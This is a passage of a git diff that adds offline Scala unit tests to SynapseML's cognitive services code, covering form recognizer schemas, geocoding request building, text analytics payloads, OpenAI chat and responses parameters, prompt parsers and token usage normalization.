assert(new URI(analyzeCustom.requestUrl(Row.empty)) + .getPath.endsWith("/formrecognizer/v2.1/custom/models/model-123/analyze")) + } + + test("form recognizer schemas expose deterministic output and error columns") { + spark + val inputSchema = StructType(Seq(StructField("id", StringType, nullable = true))) + + val analyzeDocumentSchema = new AnalyzeDocument("analyze-document-schema") + .setLocation("eastus") + .setPrebuiltModelId("prebuilt-read") + .setImageUrl("https://contoso.example/doc.png") + .setOutputCol("documentResult") + .setErrorCol("documentError") + .transformSchema(inputSchema) + assert(analyzeDocumentSchema("documentResult").dataType == AnalyzeDocumentResponse.schema) + assert(analyzeDocumentSchema("documentError").dataType == ErrorUtils.ErrorSchema) + + val analyzeLayoutSchema = new AnalyzeLayout("analyze-layout-schema") + .setLocation("eastus") + .setImageUrl("https://contoso.example/doc.png") + .setOutputCol("layoutResult") + .setErrorCol("layoutError") + .transformSchema(inputSchema) + assert(analyzeLayoutSchema("layoutResult").dataType == AnalyzeResponse.schema) + assert(analyzeLayoutSchema("layoutError").dataType == ErrorUtils.ErrorSchema) + } + + test("field result helpers convert recursive values and simplify data types") { + import FormsJsonProtocol._ + + val numberValue = FieldResultRecursive( + `type` = "number", + page = None, + confidence = None, + boundingBox = None, + text = Some("7"), + valueString = None, + valuePhoneNumber = None, + valueNumber = Some(7.0), + valueDate = None, + valueTime = None, + valueObject = None, + valueArray = None + ) + val textValue = FieldResultRecursive( + `type` = "string", + page = None, + confidence = None, + boundingBox = None, + text = None, + valueString = Some("widget"), + valuePhoneNumber = None, + valueNumber = None, + valueDate = None, + valueTime = None, + valueObject = None, + valueArray = None + ) + + val mixedArray = FieldResultRecursive( + `type` = "array", + page = None, + confidence = None, + boundingBox = None, + text = None, + valueString = None, + valuePhoneNumber = None, + valueNumber = None, + valueDate = None, + valueTime = None, + valueObject = None, + valueArray = Some(Seq(textValue, numberValue)) + ) + assert(mixedArray.toSimplifiedDataType == ArrayType(StringType)) + + val objectValue = FieldResult( + `type` = "object", + page = None, + confidence = None, + boundingBox = None, + text = None, + valueString = None, + valuePhoneNumber = None, + valueNumber = None, + valueDate = None, + valueTime = None, + valueObject = Some(Map("count" -> numberValue, "label" -> textValue).toJson.compactPrint), + valueArray = None + ).toFieldResultRecursive + + val objectType = objectValue.toSimplifiedDataType.asInstanceOf[StructType] + assert(objectType.fieldNames.toSet == Set("count", "label")) + val objectRow = objectValue.viewAsDataType(objectType).asInstanceOf[Row] + val objectValues = objectRow.toSeq.toSet + assert(objectValues.contains(Some(7.0))) + assert(objectValues.contains(Some("widget"))) + assert(numberValue.viewAsDataType(StringType) == "7") + assert(numberValue.viewAsDataType(DoubleType) == 7.0) + } + + test("FormOntologyLearner.combineDataTypes merges nested schemas deterministically") { + val left = StructType(Seq( + StructField("shared", StringType, nullable = true), + StructField("leftOnly", DoubleType, nullable = true) + )) + val right = StructType(Seq( + StructField("shared", DoubleType, nullable = true), + StructField("rightOnly", StringType, nullable = true) + )) + + val merged = FormOntologyLearner.combineDataTypes(left, right).asInstanceOf[StructType] + assert(merged.fieldNames.toSet == Set("shared", "leftOnly", "rightOnly")) + assert(merged("shared").dataType == StringType) + assert(FormOntologyLearner.combineDataTypes(ArrayType(StringType), ArrayType(DoubleType)) == ArrayType(StringType)) + } +} diff --git a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/geospatial/GeospatialCoreSuite.scala b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/geospatial/GeospatialCoreSuite.scala new file mode 100644 index 00000000000..d7becb8b103 --- /dev/null +++ b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/geospatial/GeospatialCoreSuite.scala @@ -0,0 +1,167 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.services.geospatial + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase +import org.apache.http.client.methods.{HttpGet, HttpPost} +import org.apache.http.util.EntityUtils +import org.apache.spark.sql.Row +import org.apache.spark.sql.types.ArrayType + +import java.net.{URI, URLDecoder} + +private[geospatial] class TestableAddressGeocoder extends AddressGeocoder { + def buildRequest(row: Row): Option[HttpPost] = + inputFunc(row).map(_.asInstanceOf[HttpPost]) +} + +private[geospatial] class TestableReverseAddressGeocoder extends ReverseAddressGeocoder { + def buildRequest(row: Row): Option[HttpPost] = + inputFunc(row).map(_.asInstanceOf[HttpPost]) +} + +private[geospatial] class TestableCheckPointInPolygon extends CheckPointInPolygon { + def buildRequest(row: Row): Option[HttpGet] = + inputFunc(row).map(_.asInstanceOf[HttpGet]) +} + +class GeospatialCoreSuite extends TestBase { + + import spark.implicits._ + + private def toQueryMap(uri: URI): Map[String, String] = { + Option(uri.getRawQuery).toSeq.flatMap(_.split("&")).map { kv => + val pair = kv.split("=", 2) + val key = URLDecoder.decode(pair(0), "UTF-8") + val value = if (pair.length > 1) URLDecoder.decode(pair(1), "UTF-8") else "" + key -> value + }.toMap + } + + test("address geocoder builds deterministic request payload and query params") { + val request = new TestableAddressGeocoder() + .setSubscriptionKey("fake-key") + .setAddress(Seq("One Microsoft Way, Redmond", "400 Broad St, Seattle")) + .buildRequest(Row.empty) + .get + + val query = toQueryMap(request.getURI) + assert(request.getURI.getPath.endsWith("/search/address/batch/json")) + assert(query("api-version") == "1.0") + assert(query("subscription-key") == "fake-key") + assert(request.getFirstHeader("Content-Type").getValue == "application/json") + + val payload = EntityUtils.toString(request.getEntity, "UTF-8") + assert(payload.contains("?query=One+Microsoft+Way%2C+Redmond&limit=1")) + assert(payload.contains("?query=400+Broad+St%2C+Seattle&limit=1")) + } + + test("reverse geocoder builds deterministic request payload and query params") { + val request = new TestableReverseAddressGeocoder() + .setSubscriptionKey("fake-key") + .setLatitude(Seq(48.858561, 47.639765)) + .setLongitude(Seq(2.294911, -122.127896)) + .buildRequest(Row.empty) + .get + + val query = toQueryMap(request.getURI) + assert(request.getURI.getPath.endsWith("/search/address/reverse/batch/json")) + assert(query("api-version") == "1.0") + assert(query("subscription-key") == "fake-key") + assert(request.getFirstHeader("Content-Type").getValue == "application/json") + + val payload = EntityUtils.toString(request.getEntity, "UTF-8") + assert(payload.contains("?query=48.858561,2.294911&limit=1")) + assert(payload.contains("?query=47.639765,-122.127896&limit=1")) + } + + test("address and reverse schema behavior is deterministic") { + val addressInput = Seq(Seq("One Microsoft Way, Redmond")).toDF("address") + val addressSchema = new AddressGeocoder() + .setAddressCol("address") + .setOutputCol("output") + .setErrorCol("addressError") + .transformSchema(addressInput.schema) + assert(addressSchema.fieldNames.toSet == Set("address", "output", "addressError")) + assert(addressSchema("output").dataType == ArrayType(SearchAddressBatchItem.schema)) + + val reverseInput = Seq((Seq(47.6418), Seq(-122.1275))).toDF("latitude", "longitude") + val reverseSchema = new ReverseAddressGeocoder() + .setLatitudeCol("latitude") + .setLongitudeCol("longitude") + .setOutputCol("output") + .setErrorCol("reverseError") + .transformSchema(reverseInput.schema) + assert(reverseSchema.fieldNames.toSet == Set("latitude", "longitude", "output", "reverseError")) + assert(reverseSchema("output").dataType == ArrayType(ReverseSearchAddressBatchItem.schema)) + } + + test("geospatial transformers validate missing input columns locally") { + val addressInput = Seq(Seq("One Microsoft Way, Redmond")).toDF("address") + val addressError = intercept[AssertionError] { + new AddressGeocoder().setAddressCol("missingAddress").transformSchema(addressInput.schema) + } + assert(addressError.getMessage.contains("Could not find dynamic columns")) + assert(addressError.getMessage.contains("missingAddress")) + + val reverseInput = Seq((Seq(47.6418), Seq(-122.1275))).toDF("latitude", "longitude") + val reverseError = intercept[AssertionError] { + new ReverseAddressGeocoder() + .setLatitudeCol("latitude") + .setLongitudeCol("missingLongitude") + .transformSchema(reverseInput.schema) + } + assert(reverseError.getMessage.contains("Could not find dynamic columns")) + assert(reverseError.getMessage.contains("missingLongitude")) + } + + test("checkpoint helper logic, schema behavior, and retired transform are deterministic") { + val transformer = new TestableCheckPointInPolygon() + .setSubscriptionKey("fake-key") + .setGeography("us") + .setUserDataIdentifier("udid-1") + .setLatitude(47.6418) + .setLongitude(-122.1275) + + assert(transformer.getUrl == "https://us.atlas.microsoft.com/spatial/pointInPolygon/json") + assert(transformer.getLatitude == Seq(47.6418)) + assert(transformer.getLongitude == Seq(-122.1275)) + assert(transformer.getUserDataIdentifier == "udid-1") + + val request = transformer.buildRequest(Row.empty).get + val query = toQueryMap(request.getURI) + assert(request.getURI.getPath.endsWith("/spatial/pointInPolygon/json")) + assert(query("api-version") == "1.0") + assert(query("subscription-key") == "fake-key") + assert(query("udid") == "udid-1") + assert(query("lat").contains("47.6418")) + assert(query("lon").contains("-122.1275")) + + val input = Seq((Seq(47.6418), Seq(-122.1275), "udid-1")).toDF("latitude", "longitude", "udid") + val schema = new CheckPointInPolygon() + .setLatitudeCol("latitude") + .setLongitudeCol("longitude") + .setUserDataIdentifierCol("udid") + .setOutputCol("pointInPolygon") + .setErrorCol("pointInPolygonError") + .transformSchema(input.schema) + assert(schema.fieldNames.toSet == Set("latitude", "longitude", "udid", "pointInPolygon", "pointInPolygonError")) + assert(schema("pointInPolygon").dataType == PointInPolygonProcessResult.schema) + + val missingColumnError = intercept[AssertionError] { + new CheckPointInPolygon() + .setLatitudeCol("latitude") + .setLongitudeCol("missingLongitude") + .setUserDataIdentifierCol("udid") + .transformSchema(input.schema) + } + assert(missingColumnError.getMessage.contains("Could not find dynamic columns")) + assert(missingColumnError.getMessage.contains("missingLongitude")) + + val retiredError = intercept[UnsupportedOperationException] { + transformer.transform(input) + } + assert(retiredError.getMessage.contains("retired on September 30, 2025")) + } +} diff --git a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/language/AnalyzeTextCoreOfflineSuite.scala b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/language/AnalyzeTextCoreOfflineSuite.scala new file mode 100644 index 00000000000..c54c64db460 --- /dev/null +++ b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/language/AnalyzeTextCoreOfflineSuite.scala @@ -0,0 +1,159 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.services.language + +import com.microsoft.azure.synapse.ml.io.http.{ + EntityData, HTTPResponseData, ProtocolVersionData, StatusLineData +} +import org.apache.http.entity.StringEntity +import org.apache.http.util.EntityUtils +import org.apache.spark.sql.Row +import org.apache.spark.sql.types.DataType +import org.scalatest.funsuite.AnyFunSuite +import spray.json._ +import spray.json.DefaultJsonProtocol._ + +import java.net.URI + +private[language] class TestableAnalyzeText extends AnalyzeText { + def buildEntity(row: Row): StringEntity = prepareEntity(row).get.asInstanceOf[StringEntity] + + def outputSchema: DataType = responseDataType +} + +private[language] class TestableAnalyzeTextLRO extends AnalyzeTextLongRunningOperations { + def buildEntity(row: Row): StringEntity = prepareEntity(row).get.asInstanceOf[StringEntity] + + def outputSchema: DataType = responseDataType + + def buildPollingURI(uri: URI): URI = modifyPollingURI(uri) +} + +class AnalyzeTextCoreOfflineSuite extends AnyFunSuite { + + private def parseEntity(entity: StringEntity): JsObject = { + EntityUtils.toString(entity, "UTF-8").parseJson.asJsObject + } + + private def responseWithEntity(json: String): HTTPResponseData = { + HTTPResponseData( + headers = Array.empty, + entity = Some(EntityData( + json.getBytes("UTF-8"), + None, + None, + None, + isChunked = false, + isRepeatable = true, + isStreaming = false)), + statusLine = StatusLineData(ProtocolVersionData("HTTP", 1, 1), 200, "OK"), + locale = "en_US") + } + + test("local parameter validation rejects invalid values") { + intercept[IllegalArgumentException] { + new AnalyzeText().setKind("UnknownTask") + } + intercept[IllegalArgumentException] { + new AnalyzeText().setStringIndexType("invalid-index") + } + intercept[IllegalArgumentException] { + new AnalyzeTextLongRunningOperations().setSentenceCount(0) + } + intercept[IllegalArgumentException] { + new AnalyzeTextLongRunningOperations().setSortBy("Score") + } + intercept[IllegalArgumentException] { + new AnalyzeTextLongRunningOperations().setSummaryLength("tiny") + } + } + + test("analyze text request-building is deterministic for language detection") { + val transformer = new TestableAnalyzeText() + .setKind("LanguageDetection") + .setText(Seq("Hello", "")) + .setCountryHint("US") + .setModelVersion("2024-10-01") + .setLoggingOptOut(true) + + val payload = parseEntity(transformer.buildEntity(Row.empty)) + assert(payload.fields("kind").convertTo[String] == "LanguageDetection") + + val analysisInput = payload.fields("analysisInput").asJsObject + val JsArray(documents) = analysisInput.fields("documents") + assert(documents.length == 2) + assert(documents.head.asJsObject.fields("countryHint").convertTo[String] == "US") + assert(documents(1).asJsObject.fields("countryHint").convertTo[String] == "US") + assert(documents(1).asJsObject.fields("text").convertTo[String] == "") + + val params = payload.fields("parameters").asJsObject + assert(params.fields("loggingOptOut").convertTo[Boolean]) + assert(params.fields("modelVersion").convertTo[String] == "2024-10-01") + } + + test("schema behavior follows selected task kind") { + val analyze = new TestableAnalyzeText().setKind("EntityLinking") + assert(analyze.outputSchema == EntityLinkingResponse.schema) + analyze.setKind("SentimentAnalysis") + assert(analyze.outputSchema == SentimentResponse.schema) + + val lro = new TestableAnalyzeTextLRO() + .setKind(AnalysisTaskKind.CustomMultiLabelClassification) + assert(lro.outputSchema == CustomLabelJobState.schema) + lro.setKind(AnalysisTaskKind.Healthcare) + assert(lro.outputSchema == HealthcareJobState.schema) + } + + test("lro request-building captures helper options deterministically") { + val transformer = new TestableAnalyzeTextLRO() + .setKind(AnalysisTaskKind.EntityRecognition) + .setText(Seq("John Doe")) + .setLanguage("en") + .setModelVersion("2024-06-01") + .setStringIndexType("UnicodeCodePoint") + .setLoggingOptOut(true) + .setInclusionList(Seq("Person")) + .setOverlapPolicy("allowOverlap") + .setExcludeNormalizedValues(true) + + val payload = parseEntity(transformer.buildEntity(Row.empty)) + val analysisInput = payload.fields("analysisInput").asJsObject + val JsArray(documents) = analysisInput.fields("documents") + assert(documents.head.asJsObject.fields("language").convertTo[String] == "en") + + val JsArray(tasks) = payload.fields("tasks") + val parameters = tasks.head.asJsObject.fields("parameters").asJsObject + assert(parameters.fields("modelVersion").convertTo[String] == "2024-06-01") + assert(parameters.fields("stringIndexType").convertTo[String] == "UnicodeCodePoint") + assert(parameters.fields("inclusionList").convertTo[Seq[String]] == Seq("Person")) + assert( + parameters.fields("overlapPolicy").asJsObject.fields("policyKind").convertTo[String] == "allowOverlap") + assert( + parameters.fields("inferenceOptions").asJsObject.fields("excludeNormalizedValues").convertTo[Boolean]) + } + + test("helper logic is deterministic for polling uri, kind mapping, and response rewrite") { + assert(AnalysisTaskKind.getKindFromString("Healthcare") == AnalysisTaskKind.Healthcare) + val ex = intercept[IllegalArgumentException] { + AnalysisTaskKind.getKindFromString("Nope") + } + assert(ex.getMessage.contains("Invalid kind")) + + val uri = new URI("https://example.test/jobs/1?api-version=2023-04-01") + val noStats = new TestableAnalyzeTextLRO() + assert(noStats.buildPollingURI(uri) == uri) + noStats.setShowStats(true) + assert(noStats.buildPollingURI(uri).toString.endsWith("&showStats=true")) + + val raw = responseWithEntity("""{"class":"Top","nested":{"class":"Secondary"}}""") + val rewritten = new TestableAnalyzeTextLRO() + .setKind(AnalysisTaskKind.CustomSingleLabelClassification) + .modifyResponse(Some(raw)) + .get + val rewrittenBody = new String(rewritten.entity.get.content, "UTF-8") + assert(rewrittenBody.contains("\"classifications\":\"Top\"")) + assert(rewrittenBody.contains("\"classifications\":\"Secondary\"")) + assert(!rewrittenBody.contains("\"class\":")) + } +} diff --git a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAICoreOfflineSuite.scala b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAICoreOfflineSuite.scala new file mode 100644 index 00000000000..d5af8139f20 --- /dev/null +++ b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAICoreOfflineSuite.scala @@ -0,0 +1,186 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.services.openai + +import org.apache.http.entity.StringEntity +import org.apache.http.util.EntityUtils +import org.apache.spark.sql.Row +import org.apache.spark.sql.catalyst.expressions.GenericRowWithSchema +import org.apache.spark.sql.types.{ArrayType, IntegerType, MapType, StringType, StructField, StructType} +import org.scalatest.funsuite.AnyFunSuite +import spray.json._ +import spray.json.DefaultJsonProtocol._ + +class OpenAICoreOfflineSuite extends AnyFunSuite { + + private val stringMessageSchema = StructType(Seq( + StructField("role", StringType, nullable = false), + StructField("content", StringType, nullable = true), + StructField("name", StringType, nullable = true) + )) + + private val compositeMessageSchema = StructType(Seq( + StructField("role", StringType, nullable = false), + StructField( + "content", + ArrayType( + MapType(StringType, StringType, valueContainsNull = true), + containsNull = false + ), + nullable = true + ), + StructField("name", StringType, nullable = true) + )) + + private val unsupportedContentSchema = StructType(Seq( + StructField("role", StringType, nullable = false), + StructField("content", IntegerType, nullable = false) + )) + + private def messageRow(role: String, content: String): Row = + new GenericRowWithSchema(Array[Any](role, content, ""), stringMessageSchema) + + private def compositeMessageRow(role: String, parts: Seq[Map[String, String]]): Row = + new GenericRowWithSchema(Array[Any](role, parts, ""), compositeMessageSchema) + + private def unsupportedMessageRow(role: String, content: Int): Row = + new GenericRowWithSchema(Array[Any](role, content), unsupportedContentSchema) + + private def parseEntity(entity: StringEntity): JsObject = + EntityUtils.toString(entity).parseJson.asJsObject + + test("encodeMessagesToMap supports text and composite message shapes") { + val chat = new OpenAIChatCompletion() + val compositeParts = Seq( + Map("type" -> "text", "text" -> "first"), + Map("type" -> "input_file", "filename" -> "example.txt") + ) + + val mapped = chat.encodeMessagesToMap(Seq( + messageRow("user", "hello"), + compositeMessageRow("assistant", compositeParts) + )) + + assert(mapped.head("role") == "user") + assert(mapped.head("content") == "hello") + val secondContent = mapped(1)("content").asInstanceOf[Seq[Map[String, Any]]] + assert(secondContent.head("type") == "text") + assert(secondContent(1)("type") == "input_file") + } + + test("encodeMessagesToMap rejects unsupported content types") { + val chat = new OpenAIChatCompletion() + val ex = intercept[IllegalArgumentException] { + chat.encodeMessagesToMap(Seq(unsupportedMessageRow("user", 123))) + } + assert(ex.getMessage.contains("Unsupported content type")) + } + + test("OpenAIChatCompletion getStringEntity collapses content parts into text") { + val chat = new OpenAIChatCompletion() + val messageParts = Seq( + Map("type" -> "text", "text" -> "Line one"), + Map("type" -> "input_file", "filename" -> "example.txt"), + Map("type" -> "text", "text" -> "Line two") + ) + + val entity = chat.getStringEntity( + Seq(compositeMessageRow("user", messageParts)), + Map("temperature" -> 0.0) + ) + + val payload = parseEntity(entity) + val JsArray(messages) = payload.fields("messages") + val content = messages.head.asJsObject.fields("content").convertTo[String] + + assert(content == "Line one\nLine two") + } + + test("OpenAIChatCompletion response_format wraps bare schemas and exposes type") { + val chat = new OpenAIChatCompletion() + chat.setResponseFormat(Map( + "name" -> "answer_schema", + "strict" -> true, + "schema" -> Map( + "type" -> "object", + "properties" -> Map("answer" -> Map("type" -> "string")) + ) + )) + + val responseFormat = chat.getResponseFormat + assert(chat.getResponseFormatType == "json_schema") + assert(responseFormat("type") == "json_schema") + val jsonSchema = responseFormat("json_schema").asInstanceOf[Map[String, Any]] + assert(jsonSchema("name") == "answer_schema") + assert(jsonSchema.contains("schema")) + } + + test("OpenAIResponses optional params merge text/reasoning and drop gpt-5 sampling") { + val responses = new OpenAIResponses() + .setDeploymentName("gpt-5-mini") + .setTemperature(0.3) + .setTopP(0.7) + .setResponseFormat("json_object") + .setVerbosity("high") + .setReasoningEffort("medium") + + val params = responses.getOptionalParams(messageRow("user", "hello")) + + assert(params("model") == "gpt-5-mini") + assert(!params.contains("temperature")) + assert(!params.contains("top_p")) + assert(!params.contains("reasoning_effort")) + + val text = params("text").asInstanceOf[Map[String, Any]] + val format = text("format").asInstanceOf[Map[String, Any]] + assert(format("type") == "json_object") + assert(text("verbosity") == "high") + + val reasoning = params("reasoning").asInstanceOf[Map[String, Any]] + assert(reasoning("effort") == "medium") + } + + test("OpenAIResponses keeps sampling params for non-gpt5 deployments") { + val responses = new OpenAIResponses() + .setDeploymentName("gpt-4.1-mini") + .setTemperature(0.2) + .setTopP(0.6) + + val params = responses.getOptionalParams(messageRow("user", "hello")) + + assert(params("model") == "gpt-4.1-mini") + assert(params("temperature") == 0.2) + assert(params("top_p") == 0.6) + } + + test("OpenAIResponses getStringEntity wraps plain text and preserves composite parts") { + val responses = new OpenAIResponses() + val compositeParts = Seq( + Map("type" -> "input_file", "filename" -> "example.txt", "file_data" -> "AAA") + ) + + val entity = responses.getStringEntity( + Seq( + messageRow("user", "plain text"), + compositeMessageRow("user", compositeParts) + ), + Map("model" -> "gpt-4.1-mini") + ) + + val payload = parseEntity(entity) + val JsArray(inputs) = payload.fields("input") + + val JsArray(firstContent) = inputs.head.asJsObject.fields("content") + assert(firstContent.head.asJsObject.fields("type").convertTo[String] == "input_text") + assert(firstContent.head.asJsObject.fields("text").convertTo[String] == "plain text") + + val JsArray(secondContent) = inputs(1).asJsObject.fields("content") + assert(secondContent.head.asJsObject.fields("type").convertTo[String] == "input_file") + } + + test("OpenAI chat and responses stages expose expected response schemas") { + assert(new OpenAIChatCompletion().responseDataType == ChatModelResponse.schema) + assert(new OpenAIResponses().responseDataType == ResponsesModelResponse.schema) + } +} diff --git a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPromptParserSuite.scala b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPromptParserSuite.scala new file mode 100644 index 00000000000..5ce4fb8eb2c --- /dev/null +++ b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPromptParserSuite.scala @@ -0,0 +1,126 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.services.openai + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase +import org.apache.spark.sql.Row +import org.apache.spark.sql.functions.col +import org.apache.spark.sql.types.{ArrayType, DataType, StringType} + +import java.nio.charset.StandardCharsets +import java.nio.file.Files + +class OpenAIPromptParserSuite extends TestBase { + + import spark.implicits._ + + test("PassThroughParser returns input text and string schema") { + val parser = new PassThroughParser() + val parsed = Seq(" keep spacing ").toDF("response") + .select(parser.parse(col("response")).alias("parsed")) + .head() + .getString(0) + + assert(parsed == " keep spacing ") + assert(parser.outputSchema == StringType) + } + + test("DelimiterParser trims outer whitespace and splits values") { + val parser = new DelimiterParser(",") + val parsed = Seq(" apple, banana ,carrot ").toDF("response") + .select(parser.parse(col("response")).alias("parsed")) + .head() + .getSeq[String](0) + + assert(parsed == Seq("apple", " banana ", "carrot")) + assert(parser.outputSchema == ArrayType(StringType)) + } + + test("JsonParser removes code fences and parses JSON by schema") { + val schema = "name STRING, value INT" + val parser = new JsonParser(schema, Map.empty) + val parsed = Seq( + """```json + |{"name":"alpha","value":7} + |```""".stripMargin + ).toDF("response") + .select(parser.parse(col("response")).alias("parsed")) + .head() + .getAs[Row]("parsed") + + assert(parsed.getAs[String]("name") == "alpha") + assert(parsed.getAs[Int]("value") == 7) + assert(parser.outputSchema == DataType.fromDDL(schema)) + } + + test("RegexParser extracts configured group and uses string schema") { + val parser = new RegexParser("score=(\\d+)", 1) + val parsed = Seq("score=42 done").toDF("response") + .select(parser.parse(col("response")).alias("parsed")) + .head() + .getString(0) + + assert(parsed == "42") + assert(parser.outputSchema == StringType) + } + + test("stringMessageWrapper changes text type for responses API") { + val prompt = new OpenAIPrompt() + assert(prompt.stringMessageWrapper("hello") == Map("type" -> "text", "text" -> "hello")) + + prompt.setApiType("responses") + assert(prompt.stringMessageWrapper("hello") == Map("type" -> "input_text", "text" -> "hello")) + } + + test("createMessagesForRow returns null when path attachments are empty") { + val prompt = new OpenAIPrompt() + val messages = prompt.createMessagesForRow("Summarize", Map("filePath" -> " "), Seq("filePath")) + assert(messages == null) + } + + test("createMessagesForRow includes local text file contents for chat completions") { + val prompt = new OpenAIPrompt() + val tempFile = Files.createTempFile("synapseml-openai-local", ".txt") + + try { + Files.write(tempFile, "example content".getBytes(StandardCharsets.UTF_8)) + + val messages = prompt.createMessagesForRow( + "Summarize", + Map("filePath" -> tempFile.toString), + Seq("filePath") + ) + val userParts = messages.find(_.role == "user").get.content + + assert(userParts.head == Map("type" -> "text", "text" -> "Summarize")) + assert(userParts(1).get("type").contains("text")) + assert(userParts(1).get("text").exists(_.contains("Content: example content"))) + } finally { + Files.deleteIfExists(tempFile) + } + } + + test("createMessagesForRow formats text file content for responses API") { + val prompt = new OpenAIPrompt().setApiType("responses") + val tempFile = Files.createTempFile("synapseml-openai-local", ".txt") + + try { + Files.write(tempFile, "response content".getBytes(StandardCharsets.UTF_8)) + + val messages = prompt.createMessagesForRow( + "Summarize", + Map("filePath" -> tempFile.toString), + Seq("filePath") + ) + val systemParts = messages.find(_.role == "system").get.content + val userParts = messages.find(_.role == "user").get.content + + assert(systemParts.head.get("type").contains("input_text")) + assert(userParts.head == Map("type" -> "input_text", "text" -> "Summarize")) + assert(userParts(1) == Map("type" -> "input_text", "text" -> "response content")) + } finally { + Files.deleteIfExists(tempFile) + } + } +} diff --git a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/UsageUtilsSuite.scala b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/UsageUtilsSuite.scala new file mode 100644 index 00000000000..0d2c47f1a0f --- /dev/null +++ b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/UsageUtilsSuite.scala @@ -0,0 +1,116 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.services.openai + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase +import org.apache.spark.sql.{DataFrame, Row} +import org.apache.spark.sql.functions.{col, struct} + +class UsageUtilsSuite extends TestBase { + + import spark.implicits._ + + private def normalizeUsage(df: DataFrame, mapping: UsageUtils.UsageFieldMapping): Row = { + df.select(UsageUtils.normalize(col("usage"), mapping).alias("usage")).head().getAs[Row]("usage") + } + + test("normalize maps chat completion usage fields and nested details") { + val usageDf = Seq((1L, 2L, 3L, 10L, 11L, 21L, 22L, 23L, 24L)) + .toDF( + "prompt_tokens", + "completion_tokens", + "total_tokens", + "audio_tokens", + "cached_tokens", + "accepted_prediction_tokens", + "completion_audio_tokens", + "reasoning_tokens", + "rejected_prediction_tokens" + ) + .withColumn("usage", struct( + col("prompt_tokens"), + col("completion_tokens"), + col("total_tokens"), + struct(col("audio_tokens"), col("cached_tokens")).alias("prompt_tokens_details"), + struct( + col("accepted_prediction_tokens"), + col("completion_audio_tokens").alias("audio_tokens"), + col("reasoning_tokens"), + col("rejected_prediction_tokens") + ).alias("completion_tokens_details") + )) + .select("usage") + + val normalized = normalizeUsage(usageDf, UsageUtils.UsageMappings.ChatCompletions) + assert(normalized.getAs[Long]("input_tokens") == 1L) + assert(normalized.getAs[Long]("output_tokens") == 2L) + assert(normalized.getAs[Long]("total_tokens") == 3L) + assert( + normalized.getMap[String, Long](normalized.fieldIndex("input_token_details")) == + Map("audio_tokens" -> 10L, "cached_tokens" -> 11L) + ) + assert( + normalized.getMap[String, Long](normalized.fieldIndex("output_token_details")) == + Map( + "accepted_prediction_tokens" -> 21L, + "audio_tokens" -> 22L, + "reasoning_tokens" -> 23L, + "rejected_prediction_tokens" -> 24L + ) + ) + } + + test("normalize maps responses usage fields and details") { + val usageDf = Seq((4L, 5L, 9L, 2L, 3L)) + .toDF("input_tokens", "output_tokens", "total_tokens", "cached_tokens", "reasoning_tokens") + .withColumn("usage", struct( + col("input_tokens"), + col("output_tokens"), + col("total_tokens"), + struct(col("cached_tokens")).alias("input_tokens_details"), + struct(col("reasoning_tokens")).alias("output_tokens_details") + )) + .select("usage") + + val normalized = normalizeUsage(usageDf, UsageUtils.UsageMappings.Responses) + assert(normalized.getAs[Long]("input_tokens") == 4L) + assert(normalized.getAs[Long]("output_tokens") == 5L) + assert(normalized.getAs[Long]("total_tokens") == 9L) + assert(normalized.getMap[String, Long](normalized.fieldIndex("input_token_details")) == Map("cached_tokens" -> 2L)) + assert(normalized.getMap[String, Long](normalized.fieldIndex("output_token_details")) == + Map("reasoning_tokens" -> 3L)) + } + + test("normalize handles missing or empty detail mappings") { + val embeddingDf = Seq((7L, 7L)) + .toDF("prompt_tokens", "total_tokens") + .withColumn("usage", struct(col("prompt_tokens"), col("total_tokens"))) + .select("usage") + val embeddingUsage = normalizeUsage(embeddingDf, UsageUtils.UsageMappings.Embeddings) + assert(embeddingUsage.getAs[Long]("input_tokens") == 7L) + assert(embeddingUsage.isNullAt(embeddingUsage.fieldIndex("output_tokens"))) + assert(embeddingUsage.getMap[String, Long](embeddingUsage.fieldIndex("input_token_details")).isEmpty) + assert(embeddingUsage.getMap[String, Long](embeddingUsage.fieldIndex("output_token_details")).isEmpty) + + val customMapping = UsageUtils.UsageFieldMapping( + inputTokens = Some("input_tokens"), + outputTokens = None, + totalTokens = Some("total_tokens"), + inputDetails = Some("input_tokens_details" -> Seq.empty), + outputDetails = None + ) + val customDf = Seq((8L, 8L, 4L)) + .toDF("input_tokens", "total_tokens", "cached_tokens") + .withColumn("usage", struct( + col("input_tokens"), + col("total_tokens"), + struct(col("cached_tokens")).alias("input_tokens_details") + )) + .select("usage") + + val customUsage = normalizeUsage(customDf, customMapping) + assert(customUsage.getAs[Long]("input_tokens") == 8L) + assert(customUsage.getMap[String, Long](customUsage.fieldIndex("input_token_details")).isEmpty) + } +} diff --git a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/translate/TextTranslatorCoreSuite.scala 